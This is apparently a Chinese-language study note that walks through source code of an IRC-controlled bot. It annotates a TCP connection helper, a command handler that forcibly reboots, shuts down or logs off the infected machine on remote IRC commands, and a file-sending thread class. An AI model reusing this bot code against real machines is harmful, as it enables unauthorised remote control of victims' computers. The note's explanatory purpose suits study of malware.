十九、2008年04月17日
作者:青青子衿
email:[email protected]
1、void *CDownloadHelper::Run()函數中使用了 DoTcpConnect函數
/////////////////////////////////////////////////////////////////
//
//函數功能:實現TCP協議通訊的連接
//參數: const char *szHost IP地址
// int iPort 端口
//返回值: 返回的是套接字變量
//
////////////////////////////////////////////////////////////////////
int DoTcpConnect(const char *szHost, int iPort)
{
int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sSocket==INVALID_SOCKET)
{
return SOCKET_ERROR;
}
sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(iPort); //設置目標端端口
ssin.sin_addr.s_addr=ResolveAddress(szHost); //設置目標端的IP地址
if(connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in))==SOCKET_ERROR) //發起連接
{
//如果連接失敗
xClose(sSocket);
return SOCKET_ERROR;
}
return sSocket;
}
2、class CRSLControl : public CCommandHandler類
class CRSLControl : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);
command m_cmdReboot, m_cmdShutdown, m_cmdLogoff;
};
包含兩個成員函數,和三個成員變量。
3、void CRSLControl::Init() 函數
////////////////////////////////////////////////////////////////////////////////
//
//函數功能:完成CRSLControl類的初始化工作,向指令列表中添加,該類負責處理的指令
//參數: 無
//返回值: void
//
////////////////////////////////////////////////////////////////////////////////
void CRSLControl::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdReboot, "rsl.reboot", "reboots the computer", this); //重啓系統指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdShutdown, "rsl.shutdown", "shuts the computer down", this); //關機指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogoff, "rsl.logoff", "logs the user off", this); //註銷指令
}
4、bool HandleCommand(CMessage *pMsg);函數
///////////////////////////////////////////////////////////////////////////////
//
//函數功能:該類的指令處理函數
//參數: CMessage *pMsg 收到的相應的指令
//返回值: 調用成功返回true,否則返回false
//
/////////////////////////////////////////////////////////////////////////////////////
bool CRSLControl::HandleCommand(CMessage *pMsg)
{
//處理重啓指令
if(!pMsg->sCmd.Compare("rsl.reboot"))
{
//向控制端發送正在重啓消息
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "rebooting...");
#ifdef WIN32
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); //重啓計算機的函數
#else
system("reboot"); //linux平臺下的重啓計算機的函數
#endif // WIN32
}
//處理關閉計算機指令
else if(!pMsg->sCmd.Compare("rsl.shutdown"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "shutting down...");
#ifdef WIN32
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
#else
system("shutdown");
#endif // WIN32
}
//處理註銷指令
else if(!pMsg->sCmd.Compare("rsl.logoff"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, /
"logging off...");
#ifdef WIN32
ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
#else
system("init 1");
#endif // WIN32
}
return false;
}
5、class CSendFile : public CThread 類
//////////////////////////////////////////////////////
//
//類功能:發送文件
//
//////////////////////////////////////////////////////
class CSendFile : public CThread
{
public:
virtual ~CSendFile()
{
if(m_sListenSocket>0)
{
xClose(m_sListenSocket);
}
}
virtual void *Run();
protected:
int m_sListenSocket;
sockaddr_in m_lAddr;
};